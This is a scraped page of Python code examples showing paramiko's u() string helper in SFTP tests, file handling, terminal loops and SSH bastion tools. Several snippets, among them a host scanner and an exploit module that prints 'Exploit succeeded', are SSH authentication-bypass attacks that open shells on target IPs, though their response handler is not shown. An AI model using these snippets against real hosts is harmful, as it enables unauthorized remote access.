예제 #1
0
    def test_I_check(self, sftp):
        """
        verify that file.check() works against our own server.
        (it's an sftp extension that we support, and may be the only ones who
        support it.)
        """
        with sftp.open(sftp.FOLDER + "/kitty.txt", "w") as f:
            f.write("here kitty kitty" * 64)

        try:
            with sftp.open(sftp.FOLDER + "/kitty.txt", "r") as f:
                sum = f.check("sha1")
                assert (
                    "91059CFC6615941378D413CB5ADAF4C5EB293402"
                    == u(hexlify(sum)).upper()
                )
                sum = f.check("md5", 0, 512)
                assert (
                    "93DE4788FCA28D471516963A1FE3856A"
                    == u(hexlify(sum)).upper()
                )
                sum = f.check("md5", 0, 0, 510)
                assert (
                    u(hexlify(sum)).upper()
                    == "EB3B45B8CD55A0707D99B177544A319F373183D241432BB2157AB9E46358C4AC90370B5CADE5D90336FC1716F90B36D6"
                )  # noqa
        finally:
            sftp.unlink(sftp.FOLDER + "/kitty.txt")
예제 #2
0
    def iter(self, command, *args, **options):
        with self._get_chan(options.pop('get_pty', False)) as chan:
            with self._forward_agent(chan):
                with timeout(self._timeout):
                    # Non-blocking mode.
                    chan.settimeout(0.0)

                    command = self._format_command(command, args, options)
                    chan.exec_command(command)
                    end = False
                    while not end:
                        try:
                            stdout = chan.recv(1024)
                            for line in stdout.splitlines():
                                yield (u('stdout'), self._manage_encoding(line))
                            if not stdout:
                                end = True
                        except socket.timeout:
                            pass

                        try:
                            for line in chan.recv_stderr(1024).splitlines():
                                yield (u('stderr'), self._manage_encoding(line))
                        except socket.timeout:
                            pass

                    self.return_code = chan.recv_exit_status()
                    yield ('status', True if self.return_code == 0 else False)
예제 #3
0
 def _write_private_key(self, tag, f, data, password=None):
     f.write('-----BEGIN %s PRIVATE KEY-----\n' % tag)
     if password is not None:
         # since we only support one cipher here, use it
         cipher_name = list(self._CIPHER_TABLE.keys())[0]
         cipher = self._CIPHER_TABLE[cipher_name]['cipher']
         keysize = self._CIPHER_TABLE[cipher_name]['keysize']
         blocksize = self._CIPHER_TABLE[cipher_name]['blocksize']
         mode = self._CIPHER_TABLE[cipher_name]['mode']
         salt = rng.read(16)
         key = util.generate_key_bytes(MD5, salt, password, keysize)
         if len(data) % blocksize != 0:
             n = blocksize - len(data) % blocksize
             #data += rng.read(n)
             # that would make more sense ^, but it confuses openssh.
             data += zero_byte * n
         data = cipher.new(key, mode, salt).encrypt(data)
         f.write('Proc-Type: 4,ENCRYPTED\n')
         f.write('DEK-Info: %s,%s\n' % (cipher_name, u(hexlify(salt)).upper()))
         f.write('\n')
     s = u(encodebytes(data))
     # re-wrap to 64-char lines
     s = ''.join(s.split('\n'))
     s = '\n'.join([s[i: i + 64] for i in range(0, len(s), 64)])
     f.write(s)
     f.write('\n')
     f.write('-----END %s PRIVATE KEY-----\n' % tag)
예제 #4
0
파일: file.py 프로젝트: FredHutch/paramiko
    def read(self, size=None):
        """
        Read at most ``size`` bytes from the file (less if we hit the end of the
        file first).  If the ``size`` argument is negative or omitted, read all
        the remaining data in the file.

        :param int size: maximum number of bytes to read
        :return:
            data read from the file (as a `str`), or an empty string if EOF was
            encountered immediately
        """
        if self._closed:
            raise IOError('File is closed')
        if not (self._flags & self.FLAG_READ):
            raise IOError('File is not open for reading')
        if (size is None) or (size < 0):
            # go for broke
            result = self._rbuffer
            self._rbuffer = bytes()
            self._pos += len(result)
            while True:
                try:
                    new_data = self._read(self._DEFAULT_BUFSIZE)
                except EOFError:
                    new_data = None
                if (new_data is None) or (len(new_data) == 0):
                    break
                result += new_data
                self._realpos += len(new_data)
                self._pos += len(new_data)
            return result if self._flags & self.FLAG_BINARY else u(result)
        if size <= len(self._rbuffer):
            result = self._rbuffer[:size]
            self._rbuffer = self._rbuffer[size:]
            self._pos += len(result)
            return result if self._flags & self.FLAG_BINARY else u(result)
        while len(self._rbuffer) < size:
            read_size = size - len(self._rbuffer)
            if self._flags & self.FLAG_BUFFERED:
                read_size = max(self._bufsize, read_size)
            try:
                new_data = self._read(read_size)
            except EOFError:
                new_data = None
            if (new_data is None) or (len(new_data) == 0):
                break
            self._rbuffer += new_data
            self._realpos += len(new_data)
        result = self._rbuffer[:size]
        self._rbuffer = self._rbuffer[size:]
        self._pos += len(result)
        return result if self._flags & self.FLAG_BINARY else u(result)
예제 #5
0
파일: ssh.py 프로젝트: drsjb80/HPotter
 def check_auth_publickey(self, username, key):
     print("Auth attempt with key: " + u(hexlify(key.get_fingerprint())))
     if username == 'exit':
         sys.exit(1)
     if(username == "user") and (key == self.good_pub_key):
         return paramiko.AUTH_SUCCESSFUL
     return paramiko.AUTH_FAILED
예제 #6
0
def posix_shell(chan,channel,width=90,height=40):
    from OpsManage.asgi import channel_layer
    stdout = list()
    begin_time = time.time()
    last_write_time = {'last_activity_time':begin_time}    
    try:
        chan.settimeout(0.0)
        while True:
            try:               
                x = u(chan.recv(1024))
                if len(x) == 0:
                    channel_layer.send(channel, {'text': json.dumps(['disconnect',smart_unicode('\r\n*** EOF\r\n')]) })
                    break
                now = time.time()
                delay = now - last_write_time['last_activity_time']
                last_write_time['last_activity_time'] = now                
                if x == "exit\r\n" or x == "logout\r\n" or x == 'logout':
                    chan.close()
                else:
                    stdout.append([delay,codecs.getincrementaldecoder('UTF-8')('replace').decode(x)]) 
                channel_layer.send(channel, {'text': json.dumps(['stdout',smart_unicode(x)]) })
            except socket.timeout:
                pass
            except Exception,e:
                channel_layer.send(channel, {'text': json.dumps(['stdout','A bug find,You can report it to me' + smart_unicode(e)]) })

    finally:
        pass
예제 #7
0
def term(ssh_channel):
    oldtty = termios.tcgetattr(sys.stdin)
    try:
        tty.setraw(sys.stdin.fileno())
        tty.setcbreak(sys.stdin.fileno())
        ssh_channel.settimeout(0.0)

        while True:
            r, w, e = select.select([ssh_channel, sys.stdin], [], [])
            if ssh_channel in r:
                try:
                    x = u(ssh_channel.recv(1024))
                    if len(x) == 0:
                        sys.stdout.write('\r\n - Exit SSH Shell -\r\n')
                        break
                    sys.stdout.write(x)
                    sys.stdout.flush()
                except socket.timeout:
                    pass
            if sys.stdin in r:
                x = sys.stdin.read(1)
                if len(x) == 0:
                    break
                ssh_channel.send(x)

    finally:
        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
예제 #8
0
 def test_5_rename(self, sftp):
     """
     verify that renaming a file works.
     """
     try:
         with sftp.open(sftp.FOLDER + "/first.txt", "w") as f:
             f.write("content!\n")
         sftp.rename(
             sftp.FOLDER + "/first.txt", sftp.FOLDER + "/second.txt"
         )
         with pytest.raises(IOError, match="No such file"):
             sftp.open(sftp.FOLDER + "/first.txt", "r")
         with sftp.open(sftp.FOLDER + "/second.txt", "r") as f:
             f.seek(-6, f.SEEK_END)
             assert u(f.read(4)) == "tent"
     finally:
         # TODO: this is gross, make some sort of 'remove if possible' / 'rm
         # -f' a-like, jeez
         try:
             sftp.remove(sftp.FOLDER + "/first.txt")
         except:
             pass
         try:
             sftp.remove(sftp.FOLDER + "/second.txt")
         except:
             pass
예제 #9
0
파일: sftp_file.py 프로젝트: OmniDB/OmniDB
 def _close(self, async_=False):
     # We allow double-close without signaling an error, because real
     # Python file objects do.  However, we must protect against actually
     # sending multiple CMD_CLOSE packets, because after we close our
     # handle, the same handle may be re-allocated by the server, and we
     # may end up mysteriously closing some random other file.  (This is
     # especially important because we unconditionally call close() from
     # __del__.)
     if self._closed:
         return
     self.sftp._log(DEBUG, "close({})".format(u(hexlify(self.handle))))
     if self.pipelined:
         self.sftp._finish_responses(self)
     BufferedFile.close(self)
     try:
         if async_:
             # GC'd file handle could be called from an arbitrary thread
             # -- don't wait for a response
             self.sftp._async_request(type(None), CMD_CLOSE, self.handle)
         else:
             self.sftp._request(CMD_CLOSE, self.handle)
     except EOFError:
         # may have outlived the Transport connection
         pass
     except (IOError, socket.error):
         # may have outlived the Transport connection
         pass
def scan_host(targetIP):
    global file_mutex
    global results_fd

    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:
        client.connect(targetIP, username='', allow_agent=False, look_for_keys=False,timeout=5)
    except paramiko.ssh_exception.SSHException:
        #print "debug:connect error"
        pass

    trans = client.get_transport()
    try:
        trans.auth_password(username='******', password='', event=None, fallback=True)
    except paramiko.ssh_exception.AuthenticationException:
        #print "debug:auth failed"
        pass

    trans.auth_interactive(username='******', handler=custom_handler)
    chan = client.invoke_shell()
    
    try:
        chan.settimeout(10.10)
        try:
            x = u(chan.recv(1024))
            return 1
        except socket.timeout:
            #print "debug:socket timeout"
            pass
    finally:
        pass

    return 0
예제 #11
0
def posix_shell(chan):
    import select
    
    oldtty = termios.tcgetattr(sys.stdin)
    try:
        tty.setraw(sys.stdin.fileno())
        tty.setcbreak(sys.stdin.fileno())
        chan.settimeout(0.0)

        while True:
            r, w, e = select.select([chan, sys.stdin], [], [])
            if chan in r:
                try:
                    x = u(chan.recv(1024))
                    if len(x) == 0:
                        sys.stdout.write('\r\n*** EOF\r\n')
                        break
                    sys.stdout.write(x)
                    sys.stdout.flush()
                except socket.timeout:
                    pass
            if sys.stdin in r:
                x = sys.stdin.read(1)
                if len(x) == 0:
                    break
                chan.send(x)

    finally:
        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
예제 #12
0
 def test_5_rename(self):
     """
     verify that renaming a file works.
     """
     try:
         with sftp.open(FOLDER + '/first.txt', 'w') as f:
             f.write('content!\n')
         sftp.rename(FOLDER + '/first.txt', FOLDER + '/second.txt')
         try:
             sftp.open(FOLDER + '/first.txt', 'r')
             self.assertTrue(False, 'no exception on reading nonexistent file')
         except IOError:
             pass
         with sftp.open(FOLDER + '/second.txt', 'r') as f:
             f.seek(-6, f.SEEK_END)
             self.assertEqual(u(f.read(4)), 'tent')
     finally:
         try:
             sftp.remove(FOLDER + '/first.txt')
         except:
             pass
         try:
             sftp.remove(FOLDER + '/second.txt')
         except:
             pass
예제 #13
0
파일: test_sftp.py 프로젝트: narni/paramiko
 def test_5_rename(self):
     """
     verify that renaming a file works.
     """
     try:
         with sftp.open(FOLDER + "/first.txt", "w") as f:
             f.write("content!\n")
         sftp.rename(FOLDER + "/first.txt", FOLDER + "/second.txt")
         try:
             sftp.open(FOLDER + "/first.txt", "r")
             self.assertTrue(False, "no exception on reading nonexistent file")
         except IOError:
             pass
         with sftp.open(FOLDER + "/second.txt", "r") as f:
             f.seek(-6, f.SEEK_END)
             self.assertEqual(u(f.read(4)), "tent")
     finally:
         try:
             sftp.remove(FOLDER + "/first.txt")
         except:
             pass
         try:
             sftp.remove(FOLDER + "/second.txt")
         except:
             pass
예제 #14
0
def main(ip):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        client.connect(ip, username='', allow_agent=False, look_for_keys=False)
    except paramiko.ssh_exception.SSHException:
        pass
    trans = client.get_transport()
    try:
        trans.auth_password(username='******', password='', event=None, fallback=True)
    except paramiko.ssh_exception.AuthenticationException:
        pass
    trans.auth_interactive(username='******', handler=custom_handler)
    chan = client.invoke_shell()
    oldtty = termios.tcgetattr(sys.stdin)
    try:
        tty.setraw(sys.stdin.fileno())
        tty.setcbreak(sys.stdin.fileno())
        chan.settimeout(0.0)
        while True:
            r, w, e = select.select([chan, sys.stdin], [], [])
            if chan in r:
                try:
                    x = u(chan.recv(1024))
                    if len(x) == 0:
                        sys.stdout.write('\r\n*** EOF\r\n')
                        break
                    print ip+" ok \n"
                    break
                except socket.timeout:
                    pass
    finally:
        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
예제 #15
0
    def test_5a_posix_rename(self, sftp):
        """Test [email protected] protocol extension."""
        try:
            # first check that the normal rename works as specified
            with sftp.open(sftp.FOLDER + '/a', 'w') as f:
                f.write('one')
            sftp.rename(sftp.FOLDER + '/a', sftp.FOLDER + '/b')
            with sftp.open(sftp.FOLDER + '/a', 'w') as f:
                f.write('two')
            with pytest.raises(IOError): # actual message seems generic
                sftp.rename(sftp.FOLDER + '/a', sftp.FOLDER + '/b')

            # now check with the posix_rename
            sftp.posix_rename(sftp.FOLDER + '/a', sftp.FOLDER + '/b')
            with sftp.open(sftp.FOLDER + '/b', 'r') as f:
                data = u(f.read())
            err = "Contents of renamed file not the same as original file"
            assert 'two' == data, err

        finally:
            try:
                sftp.remove(sftp.FOLDER + '/a')
            except:
                pass
            try:
                sftp.remove(sftp.FOLDER + '/b')
            except:
                pass
예제 #16
0
    def test_5a_posix_rename(self):
        """Test [email protected] protocol extension."""
        try:
            # first check that the normal rename works as specified
            with sftp.open(FOLDER + '/a', 'w') as f:
                f.write('one')
            sftp.rename(FOLDER + '/a', FOLDER + '/b')
            with sftp.open(FOLDER + '/a', 'w') as f:
                f.write('two')
            try:
                sftp.rename(FOLDER + '/a', FOLDER + '/b')
                self.assertTrue(False, 'no exception when rename-ing onto existing file')
            except (OSError, IOError):
                pass

            # now check with the posix_rename
            sftp.posix_rename(FOLDER + '/a', FOLDER + '/b')
            with sftp.open(FOLDER + '/b', 'r') as f:
                data = u(f.read())
            self.assertEqual('two', data, "Contents of renamed file not the same as original file")

        finally:
            try:
                sftp.remove(FOLDER + '/a')
            except:
                pass
            try:
                sftp.remove(FOLDER + '/b')
            except:
                pass
예제 #17
0
파일: pkey.py 프로젝트: reaperhulk/paramiko
    def get_base64(self):
        """
        Return a base64 string containing the public part of this key.  Nothing
        secret is revealed.  This format is compatible with that used to store
        public key files or recognized host keys.

        :return: a base64 `string <str>` containing the public part of the key.
        """
        return u(encodebytes(self.asbytes())).replace('\n', '')
예제 #18
0
    def open(self, filename, mode="r", bufsize=-1):
        """
        Open a file on the remote server.  The arguments are the same as for
        Python's built-in `python:file` (aka `python:open`).  A file-like
        object is returned, which closely mimics the behavior of a normal
        Python file object, including the ability to be used as a context
        manager.

        The mode indicates how the file is to be opened: ``'r'`` for reading,
        ``'w'`` for writing (truncating an existing file), ``'a'`` for
        appending, ``'r+'`` for reading/writing, ``'w+'`` for reading/writing
        (truncating an existing file), ``'a+'`` for reading/appending.  The
        Python ``'b'`` flag is ignored, since SSH treats all files as binary.
        The ``'U'`` flag is supported in a compatible way.

        Since 1.5.2, an ``'x'`` flag indicates that the operation should only
        succeed if the file was created and did not previously exist.  This has
        no direct mapping to Python's file flags, but is commonly known as the
        ``O_EXCL`` flag in posix.

        The file will be buffered in standard Python style by default, but
        can be altered with the ``bufsize`` parameter.  ``0`` turns off
        buffering, ``1`` uses line buffering, and any number greater than 1
        (``>1``) uses that specific buffer size.

        :param str filename: name of the file to open
        :param str mode: mode (Python-style) to open in
        :param int bufsize: desired buffering (-1 = default buffer size)
        :return: an `.SFTPFile` object representing the open file

        :raises: ``IOError`` -- if the file could not be opened.
        """
        filename = self._adjust_cwd(filename)
        self._log(DEBUG, "open({!r}, {!r})".format(filename, mode))
        imode = 0
        if ("r" in mode) or ("+" in mode):
            imode |= SFTP_FLAG_READ
        if ("w" in mode) or ("+" in mode) or ("a" in mode):
            imode |= SFTP_FLAG_WRITE
        if "w" in mode:
            imode |= SFTP_FLAG_CREATE | SFTP_FLAG_TRUNC
        if "a" in mode:
            imode |= SFTP_FLAG_CREATE | SFTP_FLAG_APPEND
        if "x" in mode:
            imode |= SFTP_FLAG_CREATE | SFTP_FLAG_EXCL
        attrblock = SFTPAttributes()
        t, msg = self._request(CMD_OPEN, filename, imode, attrblock)
        if t != CMD_HANDLE:
            raise SFTPError("Expected handle")
        handle = msg.get_binary()
        self._log(
            DEBUG,
            "open({!r}, {!r}) -> {}".format(
                filename, mode, u(hexlify(handle))
            ),
        )
        return SFTPFile(self, handle, mode, bufsize)
예제 #19
0
    def getcwd(self):
        """
        Return the "current working directory" for this SFTP session, as
        emulated by Paramiko.  If no directory has been set with `chdir`,
        this method will return ``None``.

        .. versionadded:: 1.4
        """
        return self._cwd and u(self._cwd)
예제 #20
0
    def getcwd(self):
        """
        Return the "current working directory" for this SFTP session, as
        emulated by Paramiko.  If no directory has been set with `chdir`,
        this method will return ``None``.

        .. versionadded:: 1.4
        """
        # TODO: make class initialize with self._cwd set to self.normalize('.')
        return self._cwd and u(self._cwd)
예제 #21
0
    def get_text(self):
        """
        Fetch a string from the stream.  This could be a byte string and may
        contain unprintable characters.  (It's not unheard of for a string to
        contain another byte-stream Message.)

        @return: a string.
        @rtype: string
        """
        return u(self.get_bytes(self.get_size()))
예제 #22
0
    def hash_host(hostname, salt=None):
        """
        Return a "hashed" form of the hostname, as used by OpenSSH when storing
        hashed hostnames in the known_hosts file.

        :param str hostname: the hostname to hash
        :param str salt: optional salt to use when hashing (must be 20 bytes long)
        :return: the hashed hostname as a `str`
        """
        if salt is None:
            salt = os.urandom(sha1().digest_size)
        else:
            if salt.startswith('|1|'):
                salt = salt.split('|')[2]
            salt = decodebytes(b(salt))
        assert len(salt) == sha1().digest_size
        hmac = HMAC(salt, b(hostname), sha1).digest()
        hostkey = '|1|%s|%s' % (u(encodebytes(salt)), u(encodebytes(hmac)))
        return hostkey.replace('\n', '')
예제 #23
0
 def _decode_key(self, data):
     s, padding = der.remove_sequence(data)
     if padding:
         if padding not in self.ALLOWED_PADDINGS:
             raise ValueError("weird padding: %s" % u(binascii.hexlify(data)))
         data = data[:-len(padding)]
     key = SigningKey.from_der(data)
     self.signing_key = key
     self.verifying_key = key.get_verifying_key()
     self.size = 256
예제 #24
0
def posix_shell(chan,user_obj,bind_host_obj,cmd_caches,log_recording):
    import select
    
    oldtty = termios.tcgetattr(sys.stdin)
    try:
        tty.setraw(sys.stdin.fileno())
        tty.setcbreak(sys.stdin.fileno())
        chan.settimeout(0.0)
        cmd = ''

        tab_key = False
        while True:
            r, w, e = select.select([chan, sys.stdin], [], [])
            if chan in r:
                try:
                    x = u(chan.recv(1024))
                    if tab_key:
                        if x not in ('\x07' , '\r\n'):
                            #print('tab:',x)
                            cmd += x
                        tab_key = False
                    if len(x) == 0:
                        sys.stdout.write('\r\n*** EOF\r\n')
                        break
                    sys.stdout.write(x)
                    sys.stdout.flush()
                except socket.timeout:
                    pass
            if sys.stdin in r:
                x = sys.stdin.read(1)
                if '\r' != x:
                    cmd +=x
                else:

                    print('cmd->:',cmd)
                    log_item = models.AuditLog(user_id=user_obj.id,
                                          bind_host_id=bind_host_obj.id,
                                          action_type='cmd',
                                          cmd=cmd ,
                                          date=datetime.datetime.now()
                                          )
                    cmd_caches.append(log_item)
                    cmd = ''

                    if len(cmd_caches)>=10:
                        log_recording(user_obj,bind_host_obj,cmd_caches)
                        cmd_caches = []
                if '\t' == x:
                    tab_key = True
                if len(x) == 0:
                    break
                chan.send(x)

    finally:
        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
예제 #25
0
    def run(self):
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        try:
            client.connect(self.target, username='', allow_agent=False, look_for_keys=False)
        except paramiko.ssh_exception.SSHException:
            pass
        except:
            print_error("Exploit Failed - SSH Service is down")
            return

        trans = client.get_transport()
        try:
            trans.auth_password(username='******', password='', event=None, fallback=True)
        except paramiko.ssh_exception.AuthenticationException:
            pass
        except:
            print_status("Error with Existing Session. Wait few minutes.")
            return

        try:
            trans.auth_interactive(username='******', handler=self.custom_handler)
            chan = client.invoke_shell()
        except:
            print_error("Exploit failed")
            return

        print_success("Exploit succeeded")
        oldtty = termios.tcgetattr(sys.stdin)
        try:
            tty.setraw(sys.stdin.fileno())
            tty.setcbreak(sys.stdin.fileno())
            chan.settimeout(0.0)

            while True:
                r, w, e = select.select([chan, sys.stdin], [], [])
                if chan in r:
                    try:
                        x = u(chan.recv(1024))
                        if len(x) == 0:
                            sys.stdout.write('\r\n*** EOF\r\n')
                            break
                        sys.stdout.write(x)
                        sys.stdout.flush()
                    except socket.timeout:
                        pass
                if sys.stdin in r:
                    x = sys.stdin.read(1)
                    if len(x) == 0:
                        break
                    chan.send(x)

        finally:
            termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
예제 #26
0
def posix_shell(chan,self,host_ip,username,host_ins):
    import select
    
    oldtty = termios.tcgetattr(sys.stdin)
    try:
        tty.setraw(sys.stdin.fileno())
        tty.setcbreak(sys.stdin.fileno())
        chan.settimeout(0.0)


        cmd = ''
        tab_input_flag = False
        while True:
            r, w, e = select.select([chan, sys.stdin], [], [])

            if chan in r:
                try:

                    x = u(chan.recv(1024))
                    if tab_input_flag:
                        cmd +=''.join(x[:10])
                        tab_input_flag = False
                    if len(x) == 0:
                        sys.stdout.write('\r\n\033[32;1m*** Session Closed ***\033[0m\r\n')
                        self.flush_cmd_input('*** Session Closed ***',host_ins,2)
                        break

                    sys.stdout.write(x)
                    sys.stdout.flush()

                except socket.timeout:
                    pass
                except UnicodeDecodeError,e:
                    pass         
            if sys.stdin in r:
                x = sys.stdin.read(1)
                if len(x) == 0:
                    break
                if not x == '\r':
                    cmd +=x
                else:
                    if len(cmd.strip())>0:
                        self.flush_cmd_input(cmd,host_ins,0)
                    if cmd in unsupport_cmd_list:
                        x="...Operation is not supported!\r\n"
                    cmd=''

                if x == '\t':
                    tab_input_flag = True
                chan.send(x)

        #f.close()
        #print cmd_list
    finally:
        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
예제 #27
0
def main():
    if len(sys.argv) < 2:
        print 'Usage: ' + sys.argv[0] + ' <target-ip>' + ' <target-port-optional>'
        exit(-1)

    nombrehost = sys.argv[1]

    if len(sys.argv) > 2:
        puerto = int(sys.argv[2])
    else:
        puerto = 22

    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:
        client.connect(nombrehost, port=puerto, username='', allow_agent=False, look_for_keys=False)
    except paramiko.ssh_exception.SSHException:
        pass

    trans = client.get_transport()
    try:
        trans.auth_password(username='******', password='', event=None, fallback=True)
    except paramiko.ssh_exception.AuthenticationException:
        pass

    trans.auth_interactive(username='******', handler=custom_handler)
    chan = client.invoke_shell()

    oldtty = termios.tcgetattr(sys.stdin)
    try:
        tty.setraw(sys.stdin.fileno())
        tty.setcbreak(sys.stdin.fileno())
        chan.settimeout(0.0)

        while True:
            r, w, e = select.select([chan, sys.stdin], [], [])
            if chan in r:
                try:
                    x = u(chan.recv(1024))
                    if len(x) == 0:
                        sys.stdout.write('\r\n*** EOF\r\n')
                        break
                    sys.stdout.write(x)
                    sys.stdout.flush()
                except socket.timeout:
                    pass
            if sys.stdin in r:
                x = sys.stdin.read(1)
                if len(x) == 0:
                    break
                chan.send(x)

    finally:
        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
예제 #28
0
def posix_shell(chan, userprofile_id, hostuser_id):
    import select

    oldtty = termios.tcgetattr(sys.stdin)
    try:
        tty.setraw(sys.stdin.fileno())
        tty.setcbreak(sys.stdin.fileno())
        #设置超时时间
        chan.settimeout(0.0)
        # f = open('handle.log', 'a+')
        tab_flag = False
        # cmd_temp_list = []
        while True:
            #socket模块,监听socket的变化
            r, w, e = select.select([chan, sys.stdin], [], [])
            if chan in r:
                try:
                    x = u(chan.recv(1024))
                    if len(x) == 0:
                        sys.stdout.write('\r\n*** EOF\r\n')
                        break
                    if tab_flag:
                        if x.startswith('\r\n'):
                            pass
                        else:
                            # cmd_temp_list.append(x)
                            # f.write(x)
                            # f.flush()
                            # if len(cmd_temp_list) == 20:
                            #     cmd_str=''.join(cmd_temp_list)
                            write_log(userprofile_id, hostuser_id, x)
                        tab_flag = False
                    sys.stdout.write(x)
                    sys.stdout.flush()
                except socket.timeout:
                    pass
            if sys.stdin in r:
                x = sys.stdin.read(1)
                if len(x) == 0:
                    break
                if x == '\t':
                    tab_flag = True
                else:
                    # cmd_temp_list.append(x)
                    # f.write(x)
                    # f.flush()
                    # if len(cmd_temp_list) == 20:
                    #     cmd_str=''.join(cmd_temp_list)
                    #操作写入日志数据库
                    write_log(userprofile_id, hostuser_id, x)
                chan.send(x)
    #最后恢复tty原来的默认值,否则会影响以后的登录操作
    finally:
        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
예제 #29
0
    def test_I_check(self):
        """
        verify that file.check() works against our own server.
        (it's an sftp extension that we support, and may be the only ones who
        support it.)
        """
        with sftp.open(FOLDER + '/kitty.txt', 'w') as f:
            f.write('here kitty kitty' * 64)

        try:
            with sftp.open(FOLDER + '/kitty.txt', 'r') as f:
                sum = f.check('sha1')
                self.assertEqual('91059CFC6615941378D413CB5ADAF4C5EB293402', u(hexlify(sum)).upper())
                sum = f.check('md5', 0, 512)
                self.assertEqual('93DE4788FCA28D471516963A1FE3856A', u(hexlify(sum)).upper())
                sum = f.check('md5', 0, 0, 510)
                self.assertEqual('EB3B45B8CD55A0707D99B177544A319F373183D241432BB2157AB9E46358C4AC90370B5CADE5D90336FC1716F90B36D6',
                                 u(hexlify(sum)).upper())
        finally:
            sftp.unlink(FOLDER + '/kitty.txt')
예제 #30
0
    def handle(self):

        try:
            
            client = SSHClientConnection(self.request, sys.argv[2])
            client_channel = client.get_channel(10)
            rhost, rport, alias = client.get_remote_address()

            rport = int(rport)
            LOG.info("connecting to remote endpoint on %s %d" % (rhost, rport))

            endpoint = SSHRemoteClient(alias, (rhost, rport))
            endpoint_channel = endpoint.get_channel()
            if not endpoint.is_active():
                raise RuntimeError("Could not get endpoint channel")
                
            LOG.info("connected to endpoint channel.")
            endpoint_channel.get_pty()
            endpoint_channel.invoke_shell()

            while True:
                r, w, e = select([client_channel, endpoint_channel], [], [])
                if client_channel in r:
                    data = u(client_channel.recv(1024))
                    if len(data) == 0:
                        LOG.info("lost connection to client.")
                        break
                    endpoint_channel.send(data)
                elif endpoint_channel in r:
                    data = u(endpoint_channel.recv(1024))
                    if len(data) == 0:
                        LOG.info("lost connection to endpoint.")
                        break
                    client_channel.send(data)
            client_channel.close()
            endpoint_channel.close()

        except Exception as e:
            LOG.exception(e)
            raise RuntimeWarning("Failed to connect client")
예제 #31
0
 def check_auth_publickey(self, username, key):
     print('Auth attempt with key: ' + u(hexlify(key.get_fingerprint())))
     if (username == 'redm') and u(hexlify(key.get_fingerprint()))==u(hexlify(self.pkey.get_fingerprint())):
         return(paramiko.AUTH_SUCCESSFUL)
     return(paramiko.AUTH_FAILED)
예제 #32
0
파일: shell.py 프로젝트: zengchunyun/_
    def posix_shell(self):
        """
        通用Linux shell
        :return:
        """
        import select
        oldtty = termios.tcgetattr(sys.stdin)
        try:
            tty.setraw(sys.stdin.fileno())
            tty.setcbreak(sys.stdin.fileno())
            self.channel.settimeout(0.0)
            cmdlog = ''
            flag = False
            log = open("../logs/log.txt", 'a+')
            import re
            while True:
                r, w, e = select.select([self.channel, sys.stdin], [], [])
                if self.channel in r:
                    try:
                        x = u(self.channel.recv(1024))
                        if flag:
                            result = re.findall(r"[\x1b[A\x00\x03\x07\x08\x0a\x0b\x0d\x1c\x1d\x1e\x1f\x20\x7f]", x)
                            over = re.findall(r'\x1b', x)
                            if over:
                                flag = False
                                result = None
                            if result:
                                flag = False
                                if not re.findall(r"\r\n$", x):
                                    if x != "\x7f":
                                        cmdlog += x
                                log.write("{} {}\n".format(datetime.datetime.now(), [cmdlog]))
                                log.flush()
                        if len(x) == 0:
                            sys.stdout.write('\r\n*** EOF\r\n')
                            break
                        over = re.findall(r'\x1b', x)
                        if not over:
                            sys.stdout.write(x)
                            sys.stdout.flush()
                    except socket.timeout:
                        pass
                if sys.stdin in r:
                    x = sys.stdin.read(1)
                    if len(x) == 0:
                        break
                    if x != '\r':
                        if x == '\t':
                            flag = True
                        else:
                            if re.findall(r"\x15", x):
                                cmdlog = ""
                            cmdlog += x
                    else:
                        del_count = cmdlog.count('\x7f')
                        if del_count:
                            cmd_list = cmdlog.split()
                            cmdlog = cmd_list[0]
                            for index in range(len(cmd_list)):
                                if index > 0:
                                    del_count = cmd_list[index].count('\x7f')
                                    if not del_count:
                                        cmdlog += " {}".format(cmd_list[index])
                        log.write("{} {}\n".format(datetime.datetime.now(), [cmdlog]))
                        log.flush()
                        cmdlog = ''

                    self.channel.send(x)
        finally:
            termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
예제 #33
0
import os
import socket
import sys
import threading
import traceback

import paramiko
from paramiko.py3compat import b, u, decodebytes

# setup logging
paramiko.util.log_to_file("demo_server.log")

host_key = paramiko.RSAKey(filename="test_rsa.key")
# host_key = paramiko.DSSKey(filename='test_dss.key')

print("Read key: " + u(hexlify(host_key.get_fingerprint())))


class Server(paramiko.ServerInterface):
    # 'data' is the output of base64.b64encode(key)
    # (using the "user_rsa_key" files)
    data = (b"AAAAB3NzaC1yc2EAAAABIwAAAIEAyO4it3fHlmGZWJaGrfeHOVY7RWO3P9M7hp"
            b"fAu7jJ2d7eothvfeuoRFtJwhUmZDluRdFyhFY/hFAh76PJKGAusIqIQKlkJxMC"
            b"KDqIexkgHAfID/6mqvmnSJf0b5W8v5h2pI/stOSwTQ+pxVhwJ9ctYDhRSlF0iT"
            b"UWT10hcuO4Ks8=")
    good_pub_key = paramiko.RSAKey(data=decodebytes(data))

    def __init__(self):
        self.event = threading.Event()

    def check_channel_request(self, kind, chanid):
예제 #34
0
    def posix_shell(self):
        import select
        """
        Use paramiko channel connect server interactive.
        使用 paramiko 模块的channel,连接后端,进入交互式
        """
        # 创建记录日志的文件,分为.log和.time两个文件,log表示记录日志,True
        log_file_f, log_time_f, log_input_f = self.get_log()
        # 获取文件输入流
        fd = sys.stdin.fileno()
        old_tty = termios.tcgetattr(fd)
        pre_timestamp = time.time()
        data = ''
        input_mode = False
        try:
            tty.setraw(fd)  # 设置终端为非阻塞的输入方式,按字符响应键盘输入
            tty.setcbreak(fd)
            self.channel.settimeout(0.0)

            # 提供持续的输入命令行
            while True:
                try:
                    r, w, e = select.select([self.channel, sys.stdin], [], [])
